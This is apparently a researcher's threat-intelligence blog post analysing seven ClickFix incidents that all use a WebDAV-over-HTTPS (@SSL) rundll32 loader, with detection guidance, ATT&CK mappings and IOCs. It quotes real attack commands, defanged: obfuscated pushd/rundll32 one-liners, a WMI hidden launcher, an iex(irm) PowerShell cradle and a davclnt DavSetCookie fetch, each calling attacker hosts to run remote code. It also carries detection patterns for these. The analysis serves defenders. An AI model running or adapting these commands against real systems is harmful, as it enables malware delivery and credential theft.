Post

The @SSL Shuffle: One WebDAV Loader Family, Seven Disguises

Seven ClickFix incidents, one primitive: rundll32 executes a remote DLL by ordinal over a WebDAV share mounted via @SSL - fileless, no SMB to block.

The @SSL Shuffle: One WebDAV Loader Family, Seven Disguises

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

Seven unrelated-looking incidents over about four weeks all resolve to the same Windows primitive: append @SSL to a WebDAV hostname and the WebClient service mounts it over HTTPS instead of SMB, then rundll32 <file>,#1 executes a remote DLL by ordinal with nothing written to disk. The launcher (WMI, forfiles, conhost --headless, pcalua), the payload filename (pf.ch -> gc.key -> goog.ct), and the delivery mechanism (a jsDelivr cache trick, then EtherHiding config stored on a BNB testnet smart contract) all rotated. The @SSL transport never did. One sibling chain (davclnt.dll,DavSetCookie) reaches the same transport through a different Microsoft binary and drops five RATs at once.

If this is your fleet, do these first:

  • Disable the WebClient service on workstations that don’t need WebDAV - this single control breaks every variant below.
  • Alert on rundll32.exe command lines containing ,#1 where the module path sits on a UNC/WebDAV drive, or that make outbound 443 connections.
  • Treat pcalua.exe, forfiles.exe, conhost.exe --headless, and davclnt.dll,DavSetCookie as one interchangeable LOLBin family, not four separate signatures.

Full IOC table and detection logic at the bottom - the linked detections repo has every hash, host, GUID, contract, and wallet.

Same trick, new hat, every couple of weeks

Over about four weeks this winter, seven separate samples landed on my desk that all did the same strange thing near the end of their chain: they mounted a remote share written as \\some-host@SSL\a-big-guid, and then ran rundll32 something,#1 against a file sitting on it. No download prompt, no file written to disk, no SMB traffic to block. Just a signed Windows binary reaching out over HTTPS and executing a DLL that never touched the filesystem.

Individually, each of these looked like “another ClickFix incident.” Put side by side, they’re clearly one evolving toolkit - and watching what changed between them is far more useful than any single write-up. The launcher rotated. The payload filename rotated. The delivery mechanism rotated all the way from a CDN cache trick to smuggling C2 configuration inside blockchain smart contracts. The one thing that never changed was the @SSL WebDAV primitive in the middle.

So this isn’t a single-incident post. It’s a field report on a technique I keep seeing, the variations I’ve catalogued, what each stage actually does, and - honestly - where I kept hitting a wall. If you run a Windows fleet, there’s a single control near the end that breaks the whole family, and I’ll get to it.

Let’s dig in.

The attack at a glance

Strip away which incident you’re looking at and the shape is always the same: a lure gets a victim to paste one line into Windows, and that line ends in a WebDAV mount that never touches disk. Six of the seven chains below run this exact sequence; the seventh reaches the same transport through a different binary.

1
2
3
4
5
6
7
8
9
Fake "verify you are human" ClickFix page
  -> victim pastes command into Win+R and hits Enter
  -> hidden LOLBin launcher (WMI / forfiles / conhost --headless / pcalua)
  -> delivery stage fetches or decodes the pushd command
     (jsDelivr cache-after-delete, or an EtherHiding smart-contract read)
  -> pushd \\host@SSL\GUID mounts WebDAV over HTTPS (443, not SMB 445)
  -> rundll32 <file>,#1 executes the remote DLL by ordinal, no disk write
  -> multi-layer native unpacker decrypts the real payload in memory
  -> info-stealer/RAT-class implant (unconfirmed past this point for most)

The sibling (incident 7) skips the pushd/rundll32 combo and reaches @SSL through davclnt.dll,DavSetCookie instead - same transport, different door, five RATs on the other side.

The one primitive to understand: @SSL

Everything in this post hangs off one piece of Windows plumbing, so it’s worth thirty seconds up front.

Windows has a WebDAV redirector - the WebClient service - that lets you treat a remote WebDAV server as if it were a file share. Normally you’d see UNC paths like \\server\share. But the redirector accepts a special suffix: append @SSL (optionally @SSL@443) to the hostname and it mounts the share over HTTPS instead of SMB:

1
\\hcwjcope[.]poundbahis[.]com@SSL@443\ff679d78-ec48-498c-89f3-d5b024edd1a3

That single string does a lot of work for an attacker:

  • It’s fileless. The DLL is read straight off the WebDAV server into the loader. Nothing is written to the victim’s disk, so there’s no download, no Mark-of-the-Web prompt, and nothing for a file-based scanner to catch.
  • It’s a signed-binary launch. The actual execution is done by rundll32.exe (or davclnt.dll), both Microsoft-signed. The malicious DLL rides in as a data argument.
  • It sails past your SMB egress rules. Everyone blocks outbound 445 to stop classic WebDAV/UNC abuse. @SSL moves the whole thing to 443, where it looks like ordinary web traffic.

Master that mental model and the seven incidents below are just variations on “get a victim to run a command that ends in @SSL + rundll32 ...,#1.”

The family tree

Six of the seven use the pushd \\...@SSL\GUID + rundll32 <file>,#1 pattern - one interchangeable loader with rotating parts. The seventh reaches the same @SSL transport through a completely different Microsoft binary. Here’s the whole family at a glance:

#DateStage-0 launcherPayloadDelivery frontInfra theme
1Jun 25WMI Win32_Process.Create (hidden)pf.chjsDelivr cache-after-delete1xfa[.]xyz
2Jun 27forfiles.exe LOLBINpf.chjsDelivr / Tedy324 reposabad724[.]bio
3Jul 03conhost.exe --headlesspf.chRunMRU ClickFix1xgame[.]bet
4Jul 14pcalua.exe (optional)gc.keyEtherHiding (BSC testnet)betwanaa / .bet
5Jul 21pcalua / WMIgc.keyEtherHiding (BSC testnet)hieliao-app[.]com
6Jul 21conhost.exe --headlessgoog.ctFake-Google “goog” frontpoundbahis + .hu
7Jul 03rundll32 davclnt.dll,DavSetCookieremote .wsf -> 5 RATsCloudflare Quick TunnelDuckDNS

Three evolutions jump out. The payload filename marched pf.ch -> gc.key -> goog.ct. The launcher cycled through WMI, forfiles, conhost --headless, and pcalua - four different signed binaries doing the exact same job. And the delivery grew up fast, from a clever CDN trick to full-blown blockchain C2.

Incident 4 already got its own full write-up when I caught the operator rotating a live C2 domain mid-investigation - see Another day, another 1,738 compromised websites if you want that deep dive. It’s included in the table above for completeness, but this post’s job is the other six, and what ties all seven together.

How it works

Stage 0 - get the victim to paste the command

Every one of these is a ClickFix lure: a compromised or malicious web page shows a fake “I’m not a robot” / “verify you are human” checkbox, and when the victim clicks it, JavaScript quietly copies a command to their clipboard and tells them to press Win+R, paste, and hit Enter. I’ve got the receipts for the Run-dialog route too - one incident left the pasted command sitting in HKCU\...\Explorer\RunMRU.

The command itself is obfuscated with cmd’s delayed-expansion so it doesn’t read as anything obvious at a glance:

1
conhost.exe --headless --inheritcursor --width 80 --height 30 -- cmd /v:on /c "set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\mbumias[.]1xgame[.]bet@SSL@443\b4592421-fcfc-44b1-8d11-72aec0e14844 & !c!!d! pf.ch,#1"

Reassemble the pieces - a=pu, b=shd, c=run, d=dll32 - and !a!!b! is pushd, !c!!d! is rundll32. So it decodes to just:

1
2
pushd \\mbumias[.]1xgame[.]bet@SSL@443\b4592421-fcfc-44b1-8d11-72aec0e14844
rundll32 pf.ch,#1

The conhost.exe --headless prefix is a nice touch - it runs the console completely hidden, so the victim never sees a command window flash. In other incidents that hider was WMI with ShowWindow=0, or pcalua.exe, or forfiles.exe. Same purpose, different signed binary. Here’s the WMI variant, which is genuinely tidy:

1
2
3
4
5
$s = ([wmiclass]'Win32_ProcessStartup').CreateInstance()
$s.ShowWindow = 0                                   # SW_HIDE - no window
([wmiclass]'Win32_Process').Create(
    'cmd /c pushd \\euphemism[.]1xfa[.]xyz@SSL\2ffc4ddb-7b9c-44cb-b774-bf347ec8c2d2 & rundll32 pf.ch,#1',
    $null, $s)

Stage 1 - how the command got there (the delivery arms race)

This is where the family really shows its age, because the delivery method changed three times.

jsDelivr cache-after-delete (incidents 1-2). The earliest ones fetched their PowerShell stage from the jsDelivr CDN, which mirrors GitHub repos:

1
powershell -WI 1 -nop -c iex(irm cdn[.]jsdelivr[.]net/gh/swiftvpnaccess/wanting-public-driver-barricade/256446-uuid)

The clever bit: the operator stages the file on GitHub, lets jsDelivr cache it, then deletes it from GitHub. The raw GitHub URL 404s and the repo looks clean, but jsDelivr keeps serving the cached copy - victims still get the payload from a trusted, allow-listed CDN. Incident 2 wrapped this in a forfiles.exe LOLBIN so the browser wasn’t the parent of PowerShell, and rebuilt the word powershell from set p=pow & set e=ershe & set l=ll & !p!!e!!l! for good measure.

EtherHiding on a blockchain testnet (incidents 4-5). The most recent - and most interesting - variants don’t host their configuration anywhere you can seize. A compromised WordPress site carries an injected loader that makes a read-only eth_call to a smart contract on the BNB Smart Chain testnet, pulling its next stage out of the contract’s storage:

1
2
3
RPC:      hxxps://bsc-testnet-rpc[.]publicnode[.]com
get():    selector 0x6d4ce63c   -> returns base64 -> eval()
owner():  selector 0x8da5cb5b   -> pivots contract -> operator wallet

Testnet is a deliberate choice: reads cost no gas and the public RPC needs no authentication, so the C2 “config store” is free to run and has no server to take down. There’s an OS branch (a Windows contract, a macOS contract) and even a per-victim tracking contract that the fake-CAPTCHA page polls once a second to mark a click as “done.” I’ll come back to why this is a gift for enumeration.

Stage 2 - the WebDAV mount and the ordinal call

However the command arrives, the business end is identical: pushd onto the @SSL UNC path, which quietly starts the WebClient service and mounts the attacker’s WebDAV server over TLS as a temporary drive, then rundll32 <file>,#1 executes export ordinal #1 of the remote DLL. Calling by ordinal rather than name is a small anti-analysis flourish - there’s no meaningful function name in the command line to pivot on.

The payload masquerades hard. It’s a DLL, but it’s served with filenames like pf.ch, gc.key, and goog.ct, and handed over with a spoofed Content-Type: application/vnd.apple.keynote. A .ch or .key file “isn’t an executable,” right up until rundll32 runs it.

Stage 3 - the payload (and where I got stuck)

All the pf.ch/gc.key/goog.ct samples share DNA. They’re MinGW-built DLLs with the internal name payload.dll, an ordinal-1 export (EventDebuggerLaunchCallback on the pf.ch builds, hawer on the gc.key build), a nearly empty import table - often just AddVectoredExceptionHandler and a CRT symbol - and their real code encrypted in high-entropy sections. A tiny stub registers a Vectored Exception Handler (a low-level Windows hook that lets code intercept a CPU exception before Windows’ own handler sees it), deliberately triggers a fault to route execution through that handler, then uses VirtualProtect (the API that flips a memory page from read-only to executable) to decrypt the payload into memory and resolve its real APIs at runtime. It’s a classic runtime-unpacking crypter move: never call an obvious “decrypt” function that a behavioural scanner could flag - let a CPU exception do the jump for you instead.

I got furthest on the gaeyeinstitute gc.key build, and it was a proper onion. Three native layers before you even reach the real executable:

  1. A DWORD-substitution decoder - a 256-entry lookup table and ~648,000 tokens, each output byte being the index of a matching table entry. It’s a substitution cipher, not an arithmetic one - there’s no XOR key or RC4 stream for an automated decryptor tool to brute-force, just a table to walk one entry at a time.
  2. A self-modifying anti-emulation delay loop - about 16.7 million iterations per byte of pure, provably result-invariant CPU burn, there purely to make a sandbox time out.
  3. A rolling-XOR block decoder over 0x20-byte blocks, terminating on the constant 0xea38ea38, then a jmp eax straight into the decrypted code rather than a call - no return address left on the stack pointing back at the decryptor, which is one less thing for an EDR stack-walk to catch.

I rebuilt layers 1 and 3 in Python and drove the stub through Unicorn (a CPU emulator library - it executes the raw instructions but doesn’t give you a real Windows process around them), hooking the delay loop to short-circuit it, and recovered a valid 32-bit .text section. And then… I hit the wall. The final executable’s .rdata and .data - where the config, the C2, and anything that would name the family live - stayed encrypted, because that last decoder needs things a bare emulator doesn’t provide: a real PEB/TEB (the bookkeeping structures Windows sets up when a program actually runs), a working GetProcAddress (the API malware calls at runtime to look up which Windows function it wants, instead of hardcoding an address that static analysis would spot), and a real VirtualAlloc (to reserve fresh executable memory) - all of which only exist once the sample is running as an actual process, not just emulated instructions on a flat memory map. Statically, it’s “infostealer- or RAT-class” by shape, and that’s as far as I’ll honestly go.

The others I couldn’t even get bytes for. WebDAV subdomains in this family are torn down within minutes of a live incident, so by the time I went looking the hosts were NXDOMAIN or throwing Cloudflare 1016s. For goog.ct I never retrieved a single byte of the payload - and a file in that folder called WindowsSecurityUpdate.exe turned out to be, delightfully, a saved copy of GitHub’s own 404 page (the operator’s CeoXBlackhat/mh repo was already gone). So: the loader mechanics are nailed down across all six; the final implant is genuinely unresolved. I’d rather tell you that than pretend otherwise.

The sibling: same transport, different binary (incident 7)

One incident used the @SSL transport but reached it through a different Microsoft binary entirely - davclnt.dll, the WebDAV client itself, abused as a LOLBIN to fetch and run a remote script:

1
rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie karaoke-certification-aye-porter[.]trycloudflare[.]com@SSL hxxps://karaoke-certification-aye-porter[.]trycloudflare[.]com/oka/PhMar26.wsf

This is the SERPENTINE#CLOUD chain (good prior public work on it by the researcher at derp.ca). It pulls a .wsf script over an ephemeral Cloudflare Quick Tunnel, which unrolls into embedded Python, Kramer-obfuscated .pyc payloads, Donut shellcode, and ultimately five RATs at once - VenomRAT, AsyncRAT, XWorm/Violet, PureHVNC, and Brute Ratel C4. I’m including it because it makes the central point of this whole post: the @SSL WebDAV transport is the reusable idea, and different crews are bolting different chains onto it. The worrying twist in my incident was that the rundll32/davclnt command ran as SYSTEM, not as a user - which means the real question isn’t the RATs, it’s what SYSTEM-level parent (an RMM agent? a scheduled task?) kicked it off.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
Initial Access / ExecutionUser Execution: Malicious Copy-Paste (ClickFix)T1204.004Fake-CAPTCHA page copies a command; victim pastes into Run
ExecutionCommand & Scripting: PowerShellT1059.001iex(irm ...) cradle; WMI process creation
ExecutionCommand & Scripting: Windows Command ShellT1059.003cmd /v:on delayed-expansion string rebuild
ExecutionCommand & Scripting: Visual Basic / JScript (WSF)T1059.005 / .007.wsf loader (davclnt variant); JS lure logic
ExecutionWindows Management InstrumentationT1047Win32_Process.Create hidden-window spawn
Defense EvasionSystem Binary Proxy Execution: Rundll32T1218.011rundll32 <file>,#1 ordinal call of remote DLL
Defense EvasionSystem Binary Proxy Execution (pcalua / forfiles / conhost / davclnt)T1218 / T1216Signed binaries proxy the launch
Command & ControlIngress Tool Transfer over WebDAV/HTTPST1105@SSL UNC mount pulls the DLL filelessly
Command & ControlWeb Service: Dead Drop Resolver (EtherHiding)T1102.001Config read from a blockchain smart contract
Defense EvasionDeobfuscate/Decode + Reflective LoadingT1140 / T1620Multi-layer native unpack in memory
Defense EvasionProcess Injection: Early-Bird APC (davclnt chain)T1055.004BRc4 injects PureHVNC into notepad.exe

Why this matters

Strip away the novelty and this is a fileless, signed-binary code-execution delivery system that defeats three common controls at once: file-based AV (no file lands), SMB egress filtering (it’s on 443), and Mark-of-the-Web (nothing is downloaded in the browser’s sense). The final payloads I could class at all looked like info-stealers or RATs, and the sibling chain drops five remote-access tools together - so a successful run realistically means credential theft or a persistent foothold, and in my SYSTEM-level incident, that foothold would have inherited SYSTEM.

The EtherHiding variants raise the stakes on the C2 side. When the configuration lives in a smart contract on a public testnet, there’s no server to seize and no domain to sinkhole - the operator just updates a storage slot for a few cents. Traditional takedown doesn’t apply. What does still apply is the victim’s own Windows plumbing, which is the good news.

What defenders can do

Here’s the thing about this whole family: for all the rotating launchers and blockchain cleverness, it has an unusually clean choke point. The @SSL mount cannot happen without the WebClient service. Disable that, and every pushd \\...@SSL\ in this post fails to fetch its DLL. Start there.

Technique (ATT&CK)What to doEssential EightWhat to hunt for
WebDAV-over-HTTPS transport (T1105)Disable/deny the WebClient service on workstations that don’t need WebDAVUser Application Hardening*WebClient service transitioning to Running; svchost -s WebClient; outbound 443 from rundll32
Rundll32 ordinal proxy exec (T1218.011)App-control rundll32 so it can’t run modules from UNC/WebDAV pathsApplication Controlrundll32 *,#1 with a module on a mapped/WebDAV drive
LOLBin launchers (T1218 / T1216)Treat pcalua, forfiles, conhost --headless, davclnt.dll,DavSetCookie as one detection familyApplication ControlAny of these spawning cmd/rundll32; davclnt.dll+DavSetCookie in a command line
ClickFix paste (T1204.004)User-education on the Run-dialog trick; monitor the RunMRU keyNo clean E8 home - user awareness + monitoringHKCU\...\Explorer\RunMRU values containing @SSL / pushd / ,#1
PowerShell cradle (T1059.001)Constrained Language Mode; block .ps1 from user-writable pathsApplication Control; Securing PowerShellScript Block Logging (Event ID 4104) with irm/iex/@SSL
EtherHiding / web-service C2 (T1102.001)Default-deny egress; block/flag blockchain RPC endpoints from user hostsNo clean E8 home - network architectureOutbound to *.publicnode[.]com and other public RPCs from workstations

*T1105 is usually filed under Application Control (block the transferred tool from running). I’m filing it under User Application Hardening here instead, because the control that actually breaks this family isn’t “don’t let the DLL execute” - it’s “don’t let the transport exist in the first place.” Disabling an unnecessary WebDAV redirector fits the same shape as disabling Flash or Java in a browser, which is squarely User Application Hardening territory.

Kill the transport (WebClient). This is the single highest-value action. Most user workstations never need the WebDAV redirector. Set the WebClient service to Disabled (or leave it manual-start and deny the trigger) via GPO, and the @SSL mount simply can’t be established - no DLL, no execution, for the whole rundll32 ...,#1 family and the davclnt sibling. This sits under User Application Hardening; the requirement lives in the ISM Guidelines for System Hardening (June 2025) rather than a standalone publication. If you can’t disable it fleet-wide, at minimum alert on the WebClient service starting on hosts where it’s normally dormant - that state change is a strong, low-noise signal.

Constrain the LOLBin launchers as one family. The lesson from seven incidents is that pcalua.exe, forfiles.exe, conhost.exe --headless, and rundll32 davclnt.dll,DavSetCookie are interchangeable slots for the same job - a textbook case of LOLBins and living-off-the-land tradecraft, where trusted Windows components get repurposed to stage or execute someone else’s payload. Don’t write four separate signatures; treat “signed Windows binary -> cmd -> pushd @SSL -> rundll32” as one behavioural chain. This is core Application Control territory - see Implementing Application Control (November 2023) - and the highest-fidelity single detection is any rundll32 invocation whose module sits on a WebDAV/UNC path and is called by ordinal (,#1).

Squeeze the PowerShell delivery. The jsDelivr variants live and die by iex(irm ...). Constrained Language Mode blocks the .NET surface these cradles lean on, and blocking .ps1 execution from user-writable paths bites regardless of where the content came from - see Securing PowerShell in the Enterprise (October 2021). Even if you can’t prevent it, Script Block Logging (Event ID 4104) records the decoded command, so the @SSL string and the irm cradle are sitting right there in your logs.

Filter egress, including the weird stuff. The @SSL mount is outbound 443 from rundll32.exe - a process that has no business making web requests - and the EtherHiding variants beacon to public blockchain RPC endpoints like bsc-testnet-rpc[.]publicnode[.]com. Neither has a clean Essential Eight home; both are a network-architecture problem. Default-deny egress with a proxy, and flag (or block) blockchain RPC endpoints and newly-registered domains from user subnets. A workstation talking to a BSC testnet RPC is not doing anything a normal user does.

Watch the Run dialog. ClickFix is user-driven, so there’s no clean control to “patch” - but the pasted command leaves a fingerprint. Monitor HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU for values containing @SSL, pushd, conhost --headless, or ,#1. That key is a genuinely underused detection surface for this whole delivery style.

Hunting and detection summary

Straight-to-tooling list, pulled from the section above:

  • WebClient service transitioning to Running on a host where it’s normally stopped (the earliest and cleanest signal).
  • rundll32.exe with a command line containing ,#1 and a module path on a UNC/WebDAV/mapped drive, or making an outbound 443 connection.
  • pushd \\*@SSL* or \\*@SSL@443\* anywhere in process command lines.
  • conhost.exe --headless -> cmd -> rundll32 process lineage; likewise pcalua.exe / forfiles.exe parents.
  • rundll32.exe ... davclnt.dll,DavSetCookie - near-zero false positives, alert outright.
  • WmiPrvSE.exe spawning cmd.exe with pushd/@SSL in the arguments.
  • Script Block Logging (Event ID 4104) containing iex, irm, cdn[.]jsdelivr[.]net/gh/, or @SSL.
  • RunMRU registry values containing @SSL, pushd, ,#1, or conhost --headless.
  • Outbound connections from workstations to public blockchain RPC endpoints (e.g. *.publicnode[.]com).
  • urlscan pivots for triage: filename:pf.ch, filename:goog.ct, filename:"gc.key" (mind the false positives - legitimate Swiss -pf.ch domains are not C2).

Detection artefacts for this campaign are available in the BlueTeamCoolTeam/detections repository under campaigns/webdav-over-ssl-loader-family/. The folder includes Sigma rules, IOC CSV, and KQL queries for Sentinel and Defender XDR covering all seven incidents.

Indicators of Compromise

The headline indicators are below; the detections repo linked above has the exhaustive set. Cloudflare edge IPs are deliberately omitted from the “block” list - they’re shared anycast, not attacker origin.

TypeIndicatorNotes
SHA2561497f9320728557f034ba168ce6393b39ac6b276b9330027b31b62705e25ca5fpf.ch, 14.4 MB (incident 1)
SHA256dede16185618cb29f0c03ab086bcfeed64eeb356bb846a4140d73fe020127e50pf.ch, 14 MB, MinGW GCC 10.3.0 (incident 2)
SHA25600a19cc54a534e570e2282aa192d9aed7922441c37e8ed98facb719e3b9e9d8bjsDelivr stage-1 PowerShell (incident 2)
SHA256f11057ab58bef936d98ba189829c64260a6a540cdaa046f93613138e820c98c6gc.key, PE32+ DLL (incident 4)
SHA2561c135ee1c61b00156ad234569d9f65f5e50d524b8dba862abe45af8f67d1a216gc.key, 5.84 MB, MinGW, export hawer (incident 5)
Filenamepf.ch / gc.key / goog.ctDLLs, spoofed application/vnd.apple.keynote
ExportEventDebuggerLaunchCallback (ord #1) · hawer (ord #1)Loader entry points
Domain1xfa[.]xyz, sabad724[.]bio, 1xgame[.]bet, betwanaa[.]com, boroo[.]bet, 1bet1yek[.]bet, hieliao-app[.]com, highkickstkd[.]com, poundbahis[.]comWebDAV C2 apexes
GitHubswiftvpnaccess/wanting-public-driver-barricade, Tedy324/vlan44-nginx, CeoXBlackhat/mhjsDelivr / EXE staging (all removed)
Emailamik.grot[@]proton[.]meOperator (incident 1 GitHub)
Contract0xA1decFB75C8C0CA28C10517ce56B710baf727d2e and siblingsBSC-testnet EtherHiding C2 storage
Wallet0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290Primary operator wallet (nonce ~516,826)
RPCbsc-testnet-rpc[.]publicnode[.]comEtherHiding read endpoint
C2*.duckdns[.]org on 12.202.176[.]0/21 (AS7018)SERPENTINE#CLOUD RAT C2 (incident 7)

Closing

If you take one thing from this: the flashy parts - the blockchain C2, the CDN cache trick, the rotating LOLBins - are the parts you can’t easily stop. The part you can stop is the boring one in the middle. Disable the WebClient service on machines that don’t need it and this entire family, in all seven of its disguises, loses its legs. I love that the answer to a blockchain-backed, fileless, signed-binary loader is a checkbox in a service configuration.

I still don’t know exactly what the final gc.key payload does, and that bugs me - dynamic detonation in a proper mapped environment is the obvious next step, and I’ll come back to it when I can catch a live sample before its subdomain evaporates. If you’ve pulled bytes off one of these before it died, I’d genuinely love to compare notes.

Stay curious, and go check whether WebClient is running on your fleet.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.